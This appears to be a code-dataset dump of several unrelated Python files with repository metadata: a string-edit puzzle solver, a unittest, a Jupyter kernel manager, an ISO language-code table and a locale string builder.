String Conversion.py
|
Darkhunter9/python
| 0 |
2023205
|
def steps_to_convert(line1,line2):
def compare(line1,line2,i):
tempdict = {}
for j in range(len(line1)):
if line1[j] in line2:
try:
tempdict[i+j] = line2.index(line1[j],max(tempdict.values()) if tempdict else 0)
except Exception:
continue
return tempdict
def calculate(line1,line2,similardict):
result = 0
temp3 = -1
temp4 = -1
while similardict:
result += max(min(similardict.keys())-1-temp3,similardict[min(similardict.keys())]-temp4-1)
temp3 = min(similardict.keys())
temp4 = similardict[min(similardict.keys())]
similardict.pop(min(similardict.keys()))
result += max(len(line1)-temp3-1,len(line2)-temp4-1)
return result
result = None
for i in range(len(line1)):
tempdict = {}
tempdict = compare(line1[i:],line2,i)
if result == None:
result = calculate(line1,line2,tempdict)
else:
result = min(result,calculate(line1,line2,tempdict))
for i in range(len(line2)):
tempdict = {}
tempdict = compare(line2[i:],line1,i)
if result == None:
result = calculate(line2,line1,tempdict)
else:
result = min(result,calculate(line2,line1,tempdict))
if result == None:
return 0
else:
return result
if __name__ == "__main__":
#These "asserts" using only for self-checking and not necessary for auto-testing
assert steps_to_convert('line1', 'line1') == 0, "eq"
assert steps_to_convert('line1', 'line2') == 1, "2"
assert steps_to_convert('line', 'line2') == 1, "none to 2"
assert steps_to_convert('ine', 'line2') == 2, "need two more"
assert steps_to_convert('line1', '1enil') == 4, "everything is opposite"
assert steps_to_convert('', '') == 0, "two empty"
assert steps_to_convert('l', '') == 1, "one side"
assert steps_to_convert('', 'l') == 1, "another side"
print("You are good to go!")
| 2,088 |
tests/test_io.py
|
sandralorenz268/hylite
| 0 |
2023268
|
import unittest
import os
from hylite import io
from pathlib import Path
from tempfile import mkdtemp
import shutil
class TestHyImage(unittest.TestCase):
def test_load(self):
self.img = io.load(os.path.join(str(Path(__file__).parent.parent), "test_data/image.hdr"))
self.lib = io.load(os.path.join(str(Path(__file__).parent.parent), "test_data/library.csv"))
self.cld = io.load(os.path.join(str(Path(__file__).parent.parent), "test_data/hypercloud.hdr"))
def test_save(self):
self.test_load() # load datasets
for data in [self.img, self.lib, self.cld]:
pth = mkdtemp()
try:
io.save(os.path.join(pth, "data.hdr"), data )
shutil.rmtree(pth) # delete temp directory
except:
shutil.rmtree(pth) # delete temp directory
self.assertFalse(True, "Error - could not save data of type %s" % str(type(data)))
if __name__ == '__main__':
unittest.main()
| 995 |
swap-random.py
|
jonspeicher/blinkyfun
| 0 |
2023835
|
#!/usr/bin/env python
from blinkytape import tape, player
from patterns import random
from animations import swap
import sys
tape = tape.BlinkyTape.find_first()
pattern = random.Random(tape.pixel_count)
frame_period_sec = float(sys.argv[1])
animation = swap.Swap(pattern, frame_period_sec)
player = player.Player(tape)
player.play_animation(animation, player.FOREVER)
| 373 |
environment_kernels/core.py
|
Cadair/jupyter_conda_kernels
| 150 |
2024180
|
# -*- coding: utf-8 -*-
from __future__ import absolute_import
import os
import os.path
from jupyter_client.kernelspec import (KernelSpecManager, NoSuchKernel)
from traitlets import List, Unicode, Bool, Int
from .envs_conda import get_conda_env_data
from .envs_virtualenv import get_virtualenv_env_data
from .utils import FileNotFoundError, HAVE_CONDA
ENV_SUPPLYER = [get_conda_env_data, get_virtualenv_env_data]
__all__ = ['EnvironmentKernelSpecManager']
class EnvironmentKernelSpecManager(KernelSpecManager):
"""
A Jupyter Kernel manager which dyamically checks for Environments
Given a list of base directories, this class searches for the pattern::
BASE_DIR/NAME/{bin|Skript}/ipython
where NAME is taken to be the name of the environment.
"""
# Take the default home DIR for conda and virtualenv as the default
_default_conda_dirs = ['~/.conda/envs/']
_default_virtualenv_dirs = ['~/.virtualenvs']
# Check for the CONDA_ENV_PATH variable and add it to the list if set.
if os.environ.get('CONDA_ENV_PATH', False):
_default_conda_dirs.append(os.environ['CONDA_ENV_PATH'].split('envs')[0])
# If we are running inside the root conda env can get all the env dirs:
if HAVE_CONDA:
import conda
_default_conda_dirs += conda.config.envs_dirs
# Remove any duplicates
_default_conda_dirs = list(set(map(os.path.expanduser,
_default_conda_dirs)))
conda_env_dirs = List(
_default_conda_dirs,
config=True,
help="List of directories in which are conda environments.")
virtualenv_env_dirs = List(
_default_virtualenv_dirs,
config=True,
help="List of directories in which are virtualenv environments.")
blacklist_envs = List(
["conda__build"],
config=True,
help="Environments which should not be used even if a ipykernel exists in it.")
whitelist_envs = List(
[],
config=True,
help="Environments which should be used, all others are ignored (overwrites blacklist_envs).")
display_name_template = Unicode(
u"Environment ({})",
config=True,
help="Template for the kernel name in the UI. Needs to include {} for the name.")
conda_prefix_template = Unicode(
u"conda_{}",
config=True,
help="Template for the conda environment kernel name prefix in the UI. Needs to include {} for the name.")
virtualenv_prefix_template = Unicode(
u"virtualenv_{}",
config=True,
help="Template for the virtualenv environment kernel name prefix in the UI. Needs to include {} for the name.")
find_conda_envs = Bool(
True,
config=True,
help="Probe for conda environments, including calling conda itself.")
find_r_envs = Bool(
True,
config=True,
help="Probe environments for R kernels (currently only conda environments).")
use_conda_directly = Bool(
True,
config=True,
help="Probe for conda environments by calling conda itself. Only relevant if find_conda_envs is True.")
refresh_interval = Int(
3,
config=True,
help="Interval (in minutes) to refresh the list of environment kernels. Setting it to '0' disables the refresh.")
find_virtualenv_envs = Bool(True,
config=True,
help="Probe for virtualenv environments.")
def __init__(self, *args, **kwargs):
super(EnvironmentKernelSpecManager, self).__init__(*args, **kwargs)
self.log.info("Using EnvironmentKernelSpecManager...")
self._env_data_cache = {}
if self.refresh_interval > 0:
try:
from tornado.ioloop import PeriodicCallback, IOLoop
# Initial loading NOW
IOLoop.current().call_later(0, callback=self._update_env_data, initial=True)
# Later updates
updater = PeriodicCallback(callback=self._update_env_data,
callback_time=1000 * 60 * self.refresh_interval)
updater.start()
if not updater.is_running():
raise Exception()
self._periodic_updater = updater
self.log.info("Started periodic updates of the kernel list (every %s minutes).", self.refresh_interval)
except:
self.log.exception("Error while trying to enable periodic updates of the kernel list.")
else:
self.log.info("Periodical updates the kernel list are DISABLED.")
def validate_env(self, envname):
"""
Check the name of the environment against the black list and the
whitelist. If a whitelist is specified only it is checked.
"""
if self.whitelist_envs and envname in self.whitelist_envs:
return True
elif self.whitelist_envs:
return False
if self.blacklist_envs and envname not in self.blacklist_envs:
return True
elif self.blacklist_envs:
# If there is just a True, all envs are blacklisted
return False
else:
return True
def _update_env_data(self, initial=False):
if initial:
self.log.info("Starting initial scan of virtual environments...")
else:
self.log.debug("Starting periodic scan of virtual environments...")
self._get_env_data(reload=True)
self.log.debug("done.")
def _get_env_data(self, reload=False):
"""Get the data about the available environments.
env_data is a structure {name -> (resourcedir, kernel spec)}
"""
# This is called much too often and finding-process is really expensive :-(
if not reload and getattr(self, "_env_data_cache", {}):
return getattr(self, "_env_data_cache")
env_data = {}
for supplyer in ENV_SUPPLYER:
env_data.update(supplyer(self))
env_data = {name: env_data[name] for name in env_data if self.validate_env(name)}
new_kernels = [env for env in list(env_data.keys()) if env not in list(self._env_data_cache.keys())]
if new_kernels:
self.log.info("Found new kernels in environments: %s", ", ".join(new_kernels))
self._env_data_cache = env_data
return env_data
def find_kernel_specs_for_envs(self):
"""Returns a dict mapping kernel names to resource directories."""
data = self._get_env_data()
return {name: data[name][0] for name in data}
def get_all_kernel_specs_for_envs(self):
"""Returns the dict of name -> kernel_spec for all environments"""
data = self._get_env_data()
return {name: data[name][1] for name in data}
def find_kernel_specs(self):
"""Returns a dict mapping kernel names to resource directories."""
# let real installed kernels overwrite envs with the same name:
# this is the same order as the get_kernel_spec way, which also prefers
# kernels from the jupyter dir over env kernels.
specs = self.find_kernel_specs_for_envs()
specs.update(super(EnvironmentKernelSpecManager,
self).find_kernel_specs())
return specs
def get_all_specs(self):
"""Returns a dict mapping kernel names and resource directories.
"""
# This is new in 4.1 -> https://github.com/jupyter/jupyter_client/pull/93
specs = self.get_all_kernel_specs_for_envs()
specs.update(super(EnvironmentKernelSpecManager, self).get_all_specs())
return specs
def get_kernel_spec(self, kernel_name):
"""Returns a :class:`KernelSpec` instance for the given kernel_name.
Raises :exc:`NoSuchKernel` if the given kernel name is not found.
"""
try:
return super(EnvironmentKernelSpecManager,
self).get_kernel_spec(kernel_name)
except (NoSuchKernel, FileNotFoundError):
venv_kernel_name = kernel_name.lower()
specs = self.get_all_kernel_specs_for_envs()
if venv_kernel_name in specs:
return specs[venv_kernel_name]
else:
raise NoSuchKernel(kernel_name)
| 8,388 |
geoometa/schema/references.py
|
deniskolokol/geoo-meta
| 0 |
2024369
|
# -*- coding: utf-8 -*-
"""Reference data used in index creation."""
# Lang mapping to ISO 639-1 (from ISO 639-2 or anyting else)
# for all commonly known languaes.
# Source: https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes
LANG_MAP = {
"aar": "aa",
"abk": "ab",
"ave": "ae",
"afr": "af",
"aka": "ak",
"amh": "am",
"arg": "an",
"ara": "ar",
"asm": "as",
"ava": "av",
"aym": "ay",
"aze": "az",
"bak": "ba",
"bel": "be",
"bul": "bg",
"bih": "bh",
"bis": "bi",
"bam": "bm",
"ben": "bn",
"bod": "bo",
"tib": "bo",
"bre": "br",
"bos": "bs",
"cat": "ca",
"che": "ce",
"cha": "ch",
"cos": "co",
"cre": "cr",
"ces": "cs",
"cze": "cs",
"chu": "cu",
"chv": "cv",
"cym": "cy",
"wel": "cy",
"dan": "da",
"deu": "de",
"ger": "de",
"div": "dv",
"dzo": "dz",
"ewe": "ee",
"ell": "el",
"gre": "el",
"eng": "en",
"epo": "eo",
"spa": "es",
"est": "et",
"eus": "eu",
"baq": "eu",
"fas": "fa",
"per": "fa",
"ful": "ff",
"fin": "fi",
"fij": "fj",
"fao": "fo",
"fra": "fr",
"fre": "fr",
"fry": "fy",
"gle": "ga",
"gla": "gd",
"glg": "gl",
"grn": "gn",
"guj": "gu",
"glv": "gv",
"hau": "ha",
"heb": "he",
"hin": "hi",
"hmo": "ho",
"hrv": "hr",
"hat": "ht",
"hun": "hu",
"hye": "hy",
"arm": "hy",
"her": "hz",
"ina": "ia",
"ind": "id",
"ile": "ie",
"ibo": "ig",
"iii": "ii",
"ipk": "ik",
"ido": "io",
"isl": "is",
"ice": "is",
"ita": "it",
"itl": "it",
"iku": "iu",
"jpn": "ja",
"jav": "jv",
"kat": "ka",
"geo": "ka",
"kon": "kg",
"kik": "ki",
"kua": "kj",
"kaz": "kk",
"kal": "kl",
"khm": "km",
"kan": "kn",
"kor": "ko",
"kau": "kr",
"kas": "ks",
"kur": "ku",
"kom": "kv",
"cor": "kw",
"kir": "ky",
"lat": "la",
"ltz": "lb",
"lug": "lg",
"lim": "li",
"lin": "ln",
"lao": "lo",
"lit": "lt",
"lub": "lu",
"lav": "lv",
"mlg": "mg",
"mah": "mh",
"mri": "mi",
"mao": "mi",
"mkd": "mk",
"mac": "mk",
"mal": "ml",
"mon": "mn",
"mar": "mr",
"msa": "ms",
"may": "ms",
"mlt": "mt",
"mya": "my",
"bur": "my",
"nau": "na",
"nob": "nb",
"nde": "nd",
"nep": "ne",
"ndo": "ng",
"nld": "nl",
"dut": "nl",
"nno": "nn",
"nor": "no",
"nbl": "nr",
"nav": "nv",
"nya": "ny",
"oci": "oc",
"oji": "oj",
"orm": "om",
"ori": "or",
"oss": "os",
"pan": "pa",
"pli": "pi",
"pol": "pl",
"pus": "ps",
"por": "pt",
"que": "qu",
"roh": "rm",
"run": "rn",
"ron": "ro",
"rum": "ro",
"rus": "ru",
"kin": "rw",
"san": "sa",
"srd": "sc",
"snd": "sd",
"sme": "se",
"sag": "sg",
"sin": "si",
"slk": "sk",
"slo": "sk",
"slv": "sl",
"smo": "sm",
"sna": "sn",
"som": "so",
"sqi": "sq",
"alb": "sq",
"srp": "sr",
"ssw": "ss",
"sot": "st",
"sun": "su",
"swe": "sv",
"swa": "sw",
"tam": "ta",
"tel": "te",
"tgk": "tg",
"tha": "th",
"tir": "ti",
"tuk": "tk",
"tgl": "tl",
"tsn": "tn",
"ton": "to",
"tur": "tr",
"tso": "ts",
"tat": "tt",
"twi": "tw",
"tah": "ty",
"uig": "ug",
"ukr": "uk",
"urd": "ur",
"uzb": "uz",
"ven": "ve",
"vie": "vi",
"vol": "vo",
"wln": "wa",
"wol": "wo",
"xho": "xh",
"yid": "yi",
"yor": "yo",
"zha": "za",
"zho": "zh",
"chi": "zh",
"zul": "zu"
}
# Language fields by ISO 639-1 codes.
LANG_FIELDS = {
"en": {"type": "text", "analyzer": "english"},
"cz": {"type": "text", "analyzer": "czech"},
"gr": {"type": "text", "analyzer": "greek"},
"es": {"type": "text", "analyzer": "spanish"},
"fi": {"type": "text", "analyzer": "finnish"},
"it": {"type": "text", "analyzer": "italian"},
"lv": {"type": "text", "analyzer": "latvian"},
"ar": {"type": "text", "analyzer": "arabic"},
"hy": {"type": "text", "analyzer": "armenian"},
"eu": {"type": "text", "analyzer": "basque"},
"bn": {"type": "text", "analyzer": "bengali"},
"bg": {"type": "text", "analyzer": "bulgarian"},
"ca": {"type": "text", "analyzer": "catalan"},
"nl": {"type": "text", "analyzer": "dutch"},
"fr": {"type": "text", "analyzer": "french"},
"gl": {"type": "text", "analyzer": "galician"},
"de": {"type": "text", "analyzer": "german"},
"hi": {"type": "text", "analyzer": "hindi"},
"hu": {"type": "text", "analyzer": "hungarian"},
"id": {"type": "text", "analyzer": "indonesian"},
"ga": {"type": "text", "analyzer": "irish"},
"lt": {"type": "text", "analyzer": "lithuanian"},
"nb": {"type": "text", "analyzer": "norwegian"},
"pt": {"type": "text", "analyzer": "portuguese"},
"ro": {"type": "text", "analyzer": "romanian"},
"ru": {"type": "text", "analyzer": "russian"},
"ku": {"type": "text", "analyzer": "sorani"},
"cv": {"type": "text", "analyzer": "swedish"},
"tr": {"type": "text", "analyzer": "turkish"}
}
| 5,277 |
knrm/utils/base_conf.py
|
gsgoncalves/K-NRM
| 0 |
2023093
|
# Copyright (c) 2017, <NAME> University. All rights reserved.
#
# Use of the K-NRM package is subject to the terms of the software license set
# forth in the LICENSE file included with this software, and also available at
# https://github.com/AdeDZY/K-NRM/blob/master/LICENSE
from os import path
ROOTPATH = path.dirname(path.dirname(path.dirname(path.abspath(__file__))))
query_field = 'query'
title_field = 'title'
body_field = 'body'
| 438 |
python/hardway/ex17_1.py
|
petervdb/eLearning
| 0 |
2024442
|
from sys import argv
from os.path import exists
# short version of ex17_0.py
# The script requires 2 arguments. The original filename and the new filename
script, from_file, to_file = argv
print "Copying from %s to %s" % (from_file, to_file)
indata = open(from_file).read()
out_file = open(to_file, 'w')
out_file.write(indata)
out_file.close()
| 349 |
LocaleStringBuilder.py
|
FlasHAdi/LocaleString-LocaleQuest-Builder
| 0 |
2024497
|
__author__ = "Owsap"
__copyright__ = "Copyright 2020, Owsap Productions"
__license__ = "MIT"
__version__ = "1.0.0"
import os
import sys
import logging
LOG_FILE_NAME = "LocaleStringBuilder.log" # Log file
LOCALE_STRING_FILE = "locale_string.txt" # Locale string file name
LOCALE_STRING_BASE_FILE = "share/locale_string_vnum.txt" # Reference file name (String VNUM)
if not os.path.exists("log"):
os.mkdir("log")
logging.basicConfig(filename = "log/" + LOG_FILE_NAME, level = logging.DEBUG, format = '%(asctime)s %(message)s', datefmt = '%d/%m/%Y %H:%M:%S')
def GetLocaleStringFile(locale):
return "locale/%s/%s" % (locale, LOCALE_STRING_FILE)
def TransalteLocaleString(locale):
if not os.path.exists(LOCALE_STRING_BASE_FILE):
print "Reference file not found. %s" % LOCALE_STRING_BASE_FILE
logging.warning("Reference file not found. %s" % LOCALE_STRING_BASE_FILE)
return
localeStringOutput = "locale_string_%s.txt" % locale
if os.path.exists(localeStringOutput):
os.remove(localeStringOutput)
fileOutput = open(localeStringOutput, 'a')
for line in open(LOCALE_STRING_BASE_FILE, 'r'):
split = line.split('";')
vnum = split[0][1:]
if not vnum:
print ""
fileOutput.write("")
if not vnum.isdigit():
formated = split[0] + "\";"
print (formated.rsplit("\n", 1)[0])
fileOutput.write(formated.rsplit("\n")[0] + "\n")
continue
print GetTranslationVnum(locale, vnum)
fileOutput.write(GetTranslationVnum(locale, vnum) + "\n")
fileOutput.close()
def GetTranslationVnum(locale, vnum):
lineCount = 0
for line in open(GetLocaleStringFile(locale), 'r'):
lineCount += 1
match = line.find(vnum)
if match == 0:
localeStringFile = open(GetLocaleStringFile(locale), 'r')
localeText = str(localeStringFile.readlines()[lineCount - 1])
split = localeText.split("\t")
formated = "\"" + split[1]
return (formated.rsplit("\n", 1)[0]) + "\";"
if __name__ == "__main__":
if len(sys.argv) < 2:
print "USAGE: [locale]"
locale = raw_input("Enter locale name: ")
TransalteLocaleString(str(locale))
elif len(sys.argv) == 2:
TransalteLocaleString(sys.argv[1])
| 2,189 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.